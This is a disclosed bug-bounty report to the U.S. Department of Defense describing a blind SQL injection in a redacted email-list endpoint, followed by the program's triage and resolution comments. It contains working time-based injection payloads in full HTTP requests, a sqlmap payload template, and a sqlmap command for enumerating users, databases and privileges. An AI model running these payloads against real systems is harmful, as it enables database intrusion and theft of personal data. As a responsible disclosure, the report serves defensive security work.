8

Blind SQL injection on [redacted]

Share:

State	○ Resolved (Closed)
Disclosed	**October 9, 2019 12:26am +0530**
Reported To	**U.S. Dept Of Defense**
Weakness	SQL Injection
Severity	High (7 ~ 8.9)
Participants	
Visibility	Disclosed (Full)

Collapse

SUMMARY BY ALYSSA_HERRERA

During my previous SQL injection on a similar domain, I discovered another sub-domain that had the same exact vulnerable end point. I was able to exploit it in a similar fashion as the previous website and discovered it shared the same DB as the previous sub domain.

TIMELINE · EXPORT

alyssa_herrera submitted a report to **U.S. Dept Of Defense**. Feb 7th (2 years ago)

Summary:
I discovered that a post request made to https://[redacted]/elist/viewem6.php is vulnerable to SQL injection and is quite clearly vulnerable as I was able to induce a 2 second hang on the web page. Additionally I was able to discover the mysql version with a true/false condition.
Description:
A post request is made to hhttps://[redacted]/elist/viewem6.php with the following parameters,
rememail=test@att.net
As to not break the rules of engagement, I used a sleep query and Boolean based commands to clearly and definitively demonstrate the vulnerability and the severity of it.

Impact

Critical

Step-by-step Reproduction Instructions

In burp suite we can set a repeater request as followed. Target set as https://[redacted]/

```
POST /elist/viewem6.php HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/elist/email_escribe.php?type=R
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Cookie: v1st=A9532F64A9E711AF; PHPSESSID=1796d85a30d3addf5934c1f0fafec529
Connection: close
Upgrade-Insecure-Requests: 1

rememail=test@att.net'%2b(select*from(select(sleep(2)))a)%2b'
```

Observe a 2 second hang.
vs

```
POST /elist/viewem6.php HTTP/1.1
Host: [redacted]
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/elist/email_escribe.php?type=R
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Cookie: v1st=A9532F64A9E711AF; PHPSESSID=1796d85a30d3addf5934c1f0fafec529
Connection: close
Upgrade-Insecure-Requests: 1

rememail=test@att.net'%2b(select*from(select(sleep(0)))a)%2b'
```

Additionally we can detect version of the mysql by using the following request

```
POST /elist/viewem6.php HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/elist/email_escribe.php?type=R
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Cookie: v1st=A9532F64A9E711AF; PHPSESSID=1796d85a30d3addf5934c1f0fafec529
Connection: close
Upgrade-Insecure-Requests: 1

rememail=test@att.net'%2bIF(MID(@@version,1,1)=4,sleep(2),1)=2%2b'
```

vs

```
POST /elist/viewem6.php HTTP/1.1
Host: [redacted]
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/elist/email_escribe.php?type=R
Content-Type: application/x-www-form-urlencoded
Content-Length: 61
Cookie: v1st=A9532F64A9E711AF; PHPSESSID=1796d85a30d3addf5934c1f0fafec529
Connection: close
Upgrade-Insecure-Requests: 1

rememail=test@att.net'%2bIF(MID(@@version,1,1)=5sleep(2),1)=2%2b'
```

We can then discover the version of the DB, we can use queries like this to further discover data.To specify these two queries will demonstrate a true or false query. True scenario will result in the Database sleeping for 2 seconds, false it won't sleep, using this logic, I was able to evaluate if the website's Mysql version started with 4 or 5. As I said above it was possible to escalate from simple time queries to reading data and executing other commands by combing sleep queries with true/false statements.

Product, Version, and Configuration (If applicable)

N/a

Suggested Mitigation/Remediation Actions

Sanitize user input and use stored procedures

Impact

An attacker would be able to read data and steal data in the Database on this website leading to PII leakage and additionally may lead to the website being compromised completely

BOT: U.S. Dept Of Defense posted a comment. Feb 7th (2 years ago)

Greetings from the Department of Defense (DoD),

Thank you for supporting the DoD Vulnerability Disclosure Program (VDP).

By submitting this report, you acknowledge understanding of, and agreement to, the DoD Vulnerability Disclosure Policy as detailed at @DeptofDefense.

The VDP Team will review your report to ensure compliance with the DoD Vulnerability Disclosure Policy. If your report is determined to be out-of-scope, it will be closed without action.

We will attempt to validate in-scope vulnerability reports and may request additional information from you if necessary. We will forward reports with validated vulnerabilities to DoD system owners for their action.

Our goal is to provide you with status updates not less than every two weeks until the reported vulnerability is resolved.

Regards,

The VDP Team

alyssa_herrera posted a comment. Updated Sep 25th (16 days ago)

After a bit of tinkering I was able to narrow down the Mysql version to 5.0.12. I was also able to fully retrieve a list of databases and didn't attempt to dump/download any files on the server. Only enumerated certain things, mainly users, privileges, banner,version, and database name. These hopefully be suffice to prove severity of this vulnerability for you.
Banner: '5.6.36'
Hostname: '[redacted]',
Database names:
information_schema
mtlist
USers: 'ntmsender'@'localhost'
Privilges: ntmsender-privilege: USAGE

alyssa_herrera posted a comment. Feb 8th (2 years ago)

If you need any more information I will be happy to provide it. I used SQL map to assist in exploitation. The parameter injection would be rememail=xxx'OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])

alyssa_herrera posted a comment. Updated Sep 25th (16 days ago)

Or we can use sql map like this python sqlmap.py -u "https://[redacted]:443/elist/viewem6.php" --data="rememail=test@att.net" --level=5 --risk=3 --users --dbs -b --hostname --current-db --privileges --is-dba --cookie="v1st=A9532F64A9E711AF;PHPSESSID=1796d85a30d3addf5934c1f0fafec529"

alyssa_herrera posted a comment. Feb 8th (2 years ago)

This website and #311922 both share the same database, which is inherently insecure as well. You can then use the SQL-shell option in sql map to then have access to using your own queries or probing using system variables or commands. I tested some commands such as system user, BaseDir, port, version compile machine. Which gave me the same information as the other website confirming Shared Databases

alyssa_herrera posted a comment. Feb 13th (2 years ago)

Hey due to the severity of the issue I would like this to be triaged as soon as possible especially considering access to back end db's

ag3nt-j7 updated the severity to High. Feb 13th (2 years ago)

ag3nt-j7 posted a comment. Feb 13th (2 years ago)

@alyssa_herrera thank you for the attention to the vulnerability severity. You will receive another status update shortly.

alyssa_herrera posted a comment. Feb 13th (2 years ago)

Thank you for the update. I also believe that it's quite possible to escalate this into having shell access to the website.

alyssa_herrera posted a comment. Feb 13th (2 years ago)

Also is there reason for this being marked high instead of critical?

ag3nt-j7 posted a comment. Updated Feb 13th (2 years ago)

@alyssa_herrera The DoD Vulnerability Disclosure Program (VDP) rates SQL Injection as High Severity. We will continue to provide updates on your report status. Thank you for supporting DoD VDP.

alyssa_herrera posted a comment. Feb 14th (2 years ago)

Alright thank you for letting me know. I asked since I seen SQL Injection with full Database access marked as critical before.

mqoliver changed the status to ○ **Triaged**. Feb 17th (2 years ago)

Greetings,

We have validated the vulnerability you reported and are preparing to forward this report to the affected DoD system owner for resolution.

Thank you for bringing this vulnerability to our attention!

We will endeavor to answer any questions the system owners may have regarding this report; however, there is a possibility we will need to contact you if they require more information to resolve the vulnerability.

You will receive another status update after we have confirmed your report has been resolved by the system owner. If you have any questions, please let me know.

Thanks again for supporting the DoD Vulnerability Disclosure Program.

Regards,

The VDP Team

ag3nt-z3 closed the report and changed the status to ○ **Resolved**. Aug 24th (about 1 year ago)

Good news!

The vulnerability you reported has been resolved and this report is now closed. If you have any further questions or disagree that the report is resolved, please let us know.

Thank you for your time and effort to improve the security of the DoD information network.

Regards,

The VDP Team

alyssa_herrera requested to disclose this report. Aug 24th (about 1 year ago)

alyssa_herrera posted a comment. Jan 17th (9 months ago)

Was also wondering on these pairs of SQLI's too

ag3nt-j1 posted a comment. Updated Jan 17th (9 months ago)

We have a back log of over 150 reports to approve, review and redact. I'm not real sure how long it will take but we will get to yours as soon as we can.

alyssa_herrera posted a comment. Aug 16th (2 months ago)

Alright, thank you for letting me know and realized I never responded to this.

ag3nt-j1 posted a comment. Aug 16th (2 months ago)

Hey there Alyssa, I'm working on disclosing our critical and high disclosure requests and making it a higher priority than we have in the past. After parsing the low and moderate severity reports out I have a lot less to work through than anticipated. Hang tight as I work through what I have.

alyssa_herrera posted a comment. Aug 16th (2 months ago)

Alright that's good to hear, thanks again for the update.

agent-1 agreed to disclose this report. Oct 9th (3 days ago)

disclosure approved

This report has been disclosed. Oct 9th (3 days ago)